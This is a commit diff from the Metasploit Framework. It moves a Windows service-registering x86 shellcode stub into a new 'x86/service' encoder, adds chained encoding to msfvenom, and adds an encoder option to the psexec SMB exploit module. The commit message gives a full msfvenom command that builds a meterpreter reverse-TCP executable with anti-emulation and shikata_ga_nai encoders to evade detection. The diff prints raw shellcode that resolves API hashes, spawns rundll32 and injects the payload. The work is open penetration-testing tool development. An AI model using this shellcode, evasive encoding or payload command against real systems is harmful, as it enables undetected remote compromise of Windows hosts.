Browse Source

Move service stub in x86 encoder to be easily used.

Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
agix 3 years ago
parent
commit
378208bc3d

+ 18
- 1
lib/msf/core/payload_generator.rb View File

@@ -205,6 +205,19 @@ module Msf
205 205
       chosen_platform
206 206
     end
207 207
 
208
+    def multiple_encode_payload(shellcode)
209
+      encoder_str = encoder[1..-1]
210
+      encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
211
+        @iterations = (encoder_opt[1] || 1).to_i
212
+        @iterations = 1 if iterations < 1
213
+
214
+        encoder_mod = framework.encoders.create(encoder_opt[0])
215
+        encoder_mod.datastore.import_options_from_hash(datastore)
216
+        shellcode = run_encoder(encoder_mod, shellcode)
217
+      end
218
+      shellcode
219
+    end
220
+
208 221
     # This method takes the shellcode generated so far and iterates through
209 222
     # the chosen or compatible encoders. It attempts to encode the payload
210 223
     # with each encoder until it finds one that works.
@@ -327,7 +340,11 @@ module Msf
327 340
       else
328 341
         raw_payload = generate_raw_payload
329 342
         raw_payload = add_shellcode(raw_payload)
330
-        encoded_payload = encode_payload(raw_payload)
343
+        if encoder.start_with?("@")
344
+          encoded_payload = multiple_encode_payload(raw_payload)
345
+        else
346
+          encoded_payload = encode_payload(raw_payload)
347
+        end
331 348
         encoded_payload = prepend_nops(encoded_payload)
332 349
         cli_print "Payload size: #{encoded_payload.length} bytes"
333 350
         gen_payload = format_payload(encoded_payload)

+ 10
- 63
lib/msf/util/exe.rb View File

@@ -2,12 +2,12 @@
2 2
 
3 3
 module Msf
4 4
 module Util
5
-
6 5
 #
7 6
 # The class provides methods for creating and encoding executable file
8 7
 # formats for various platforms. It is a replacement for the previous
9 8
 # code in Rex::Text
10 9
 #
10
+
11 11
 class EXE
12 12
 
13 13
 require 'rex'
@@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender'
50 50
 
51 51
     # Check if it exists now
52 52
     return if File.file?(opts[:template])
53
-
54 53
     # If it failed, try the default...
55 54
     if opts[:fallback]
56 55
       default_template = File.join(path, exe)
@@ -602,67 +601,15 @@ require 'msf/core/exe/segment_appender'
602 601
       opts[:exe_type] = :service_exe
603 602
       return exe_sub_method(code,opts)
604 603
     else
605
-      name = opts[:servicename]
606
-      name ||= Rex::Text.rand_text_alpha(8)
607
-      pushed_service_name = string_to_pushes(name)
608
-
609
-      precode_size = 0xc6
610
-      svcmain_code_offset = precode_size + pushed_service_name.length
611
-
612
-      precode_size = 0xcc
613
-      hash_code_offset = precode_size + pushed_service_name.length
614
-
615
-      precode_size = 0xbf
616
-      svcctrlhandler_code_offset = precode_size + pushed_service_name.length
617
-
618
-      code_service_stopped =
619
-        "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
620
-        "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
621
-        "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
622
-        "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
623
-        "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
624
-
625
-      precode_size = 0x42
626
-      shellcode_code_offset = code_service_stopped.length + precode_size
627
-
628
-      # code_service could be encoded in the future
629
-      code_service =
630
-        "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
631
-        "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
632
-        "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
633
-        "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
634
-        "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
635
-        "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
636
-        "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
637
-        "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
638
-        "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
639
-        "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
640
-        "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
641
-        "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
642
-        "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
643
-        "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
644
-        "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
645
-        "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
646
-        "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
647
-        "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
648
-        "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
649
-        "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
650
-        "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
651
-        "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
652
-        "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
653
-        "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
654
-        "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
655
-        "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
656
-        "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
657
-        "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
658
-        "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
659
-
660
-      # Append a new section to the template
661
-      Msf::Exe::SegmentAppender.new({
662
-        :payload  => code_service + code,
663
-        :template => opts[:template],
664
-        :arch     => :x86
665
-      }).generate_pe
604
+      ENV['MSF_SERVICENAME'] = opts[:servicename]
605
+
606
+      opts[:framework] = framework
607
+      opts[:payload] = 'stdin'
608
+      opts[:encoder] = '@x86/service,'+opts[:serviceencoder]
609
+
610
+      venom_generator = Msf::PayloadGenerator.new(opts)
611
+      code_service = venom_generator.multiple_encode_payload(code)
612
+      return to_winpe_only(framework, code_service, opts)
666 613
     end
667 614
   end
668 615
 

+ 128
- 0
modules/encoders/x86/service.rb View File

@@ -0,0 +1,128 @@
1
+require 'metasm'
2
+require 'msf/core'
3
+
4
+class MetasploitModule < Msf::Encoder
5
+
6
+    Rank = ManualRanking
7
+
8
+    def initialize
9
+        super(
10
+            'Name'             => 'Register service',
11
+            'Version'          => '$Revision: 14774 $',
12
+            'Description'      => 'Register service if used with psexec for example',
13
+            'Author'           => 'agix',
14
+            'Arch'             => ARCH_X86,
15
+            'License'          => MSF_LICENSE,
16
+            'EncoderType'      => Msf::Encoder::Type::Raw
17
+            )
18
+    end
19
+
20
+    @@cpu32 = Metasm::Ia32.new
21
+    def assemble(src, cpu=@@cpu32)
22
+        Metasm::Shellcode.assemble(cpu, src).encode_string
23
+    end
24
+
25
+    def can_preserve_registers?
26
+        true
27
+    end
28
+
29
+    def modified_registers
30
+        []
31
+    end
32
+
33
+    def preserves_stack?
34
+        true
35
+    end
36
+
37
+    def string_to_pushes(string)
38
+        str = string.dup
39
+        # Align string to 4 bytes
40
+        rem = (str.length) % 4
41
+        if rem > 0
42
+          str << "\x00" * (4 - rem)
43
+          pushes = ''
44
+        else
45
+          pushes = "h\x00\x00\x00\x00"
46
+        end
47
+        # string is now 4 bytes aligned with null byte
48
+
49
+        # push string to stack, starting at the back
50
+        while str.length > 0
51
+          four = 'h'+str.slice!(-4,4)
52
+          pushes << four
53
+        end
54
+
55
+        pushes
56
+    end
57
+
58
+    def encode_block(state, block)
59
+        nb_iter = rand(0x2fffffff)+0xfffffff
60
+
61
+        push_registers = ''
62
+        pop_registers  = ''
63
+        if datastore['SaveRegisters']
64
+            datastore['SaveRegisters'].split(" ").each { |reg|
65
+                push_registers += assemble("push %s"%reg)
66
+                pop_registers   = assemble("pop %s"%reg) + pop_registers
67
+            }
68
+        end
69
+
70
+        name = ENV['MSF_SERVICENAME']
71
+        name ||= Rex::Text.rand_text_alpha(8)
72
+        pushed_service_name = string_to_pushes(name)
73
+
74
+        precode_size = 0xc6
75
+        svcmain_code_offset = precode_size + pushed_service_name.length
76
+
77
+        precode_size = 0xcc
78
+        hash_code_offset = precode_size + pushed_service_name.length
79
+
80
+        precode_size = 0xbf
81
+        svcctrlhandler_code_offset = precode_size + pushed_service_name.length
82
+
83
+        code_service_stopped =
84
+            "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
85
+            "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
86
+            "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
87
+            "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
88
+            "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
89
+
90
+        precode_size = 0x42
91
+        shellcode_code_offset = code_service_stopped.length + precode_size
92
+
93
+        # code_service could be encoded in the future
94
+        code_service =
95
+            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
96
+            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
97
+            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
98
+            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
99
+            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
100
+            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
101
+            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
102
+            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
103
+            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
104
+            "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
105
+            "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
106
+            "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
107
+            "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
108
+            "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
109
+            "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
110
+            "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
111
+            "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
112
+            "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
113
+            "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
114
+            "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
115
+            "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
116
+            "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
117
+            "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" +
118
+            "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
119
+            "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" +
120
+            "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
121
+            "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
122
+            "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
123
+            "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
124
+
125
+        return push_registers + code_service + pop_registers + block
126
+    end
127
+
128
+end

+ 4
- 2
modules/exploits/windows/smb/psexec.rb View File

@@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Remote
85 85
       [
86 86
         OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
87 87
         OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
88
-        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'])
88
+        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
89
+        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
89 90
       ], self.class)
90 91
   end
91 92
 
@@ -182,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
182 183
   def native_upload
183 184
     filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
184 185
     servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
186
+    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''
185 187
 
186 188
     # Upload the shellcode to a file
187 189
     print_status("Uploading payload...")
@@ -203,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote
203 205
       fd = smb_open("\\#{filename}", 'rwct')
204 206
     end
205 207
     exe = ''
206
-    opts = { :servicename => servicename }
208
+    opts = { :servicename => servicename, :serviceencoder => serviceencoder}
207 209
     begin
208 210
       exe = generate_payload_exe_service(opts)
209 211
 

+ 1
- 1
msfconsole View File

@@ -44,5 +44,5 @@ end
44 44
 # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
45 45
 require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot')
46 46
 require 'metasploit/framework/command/console'
47
-
47
+require 'msf/core/payload_generator'
48 48
 Metasploit::Framework::Command::Console.start

Loading…
Cancel
Save